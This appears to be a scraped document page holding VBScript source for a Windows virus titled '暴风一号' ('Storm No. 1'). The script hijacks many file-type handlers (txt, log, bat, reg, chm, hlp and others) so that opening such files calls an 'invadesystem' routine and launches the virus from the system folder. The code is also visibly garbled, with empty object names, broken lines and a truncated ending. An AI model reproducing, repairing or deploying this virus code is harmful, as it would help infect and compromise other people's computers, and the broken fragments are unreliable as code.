暴风一号源码.docx

Standardization of sany group #QS8QHH-HHGX8Q8-GNHHJ8-HHMHGN#
暴风一号源码
on error resume next
dim fso,wshshell
set fso=createobject("")
set wshshell=createobject("")
call main()
sub main()
on error resume next
dim args, virusload, virusass
set args=
virusload=getmainvirus(1)
virusass=getmainvirus(0)
argnum=0
do while argnum <
param=param&" "&args(argnum)
argnum=argnum + 1
loop
subparam=lcase(right(param, 3))
select case subparam
case "run"
runpath=left, 2)
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "txt", "log","ini" ,"inf"
runpath="%systemroot%\system32\ "&param
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "bat", "cmd"
runpath="cmd /c echo hi!i'm here!&pause"
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "reg"
runpath=" "&""""&trim(param)&""""
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "chm"
runpath=" "&""""&trim(param)&""""
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "hlp"
runpath=" "&""""&trim(param)&""""
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "dir"
runpath=""""&left(trim(param),len(trim(param))-3)&""""
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "oie"
runpath="""%programfiles%\internet explorer\"""
call run(runpath)
call invadesystem(virusload,virusass)
call run("%systemroot%\system\ "&virusload)
case "omc"
runpath=" /n,::{20d04fe0-3aea-1069-a2d8-08002b30309d}"
call run(runpath)
call invadesystem(v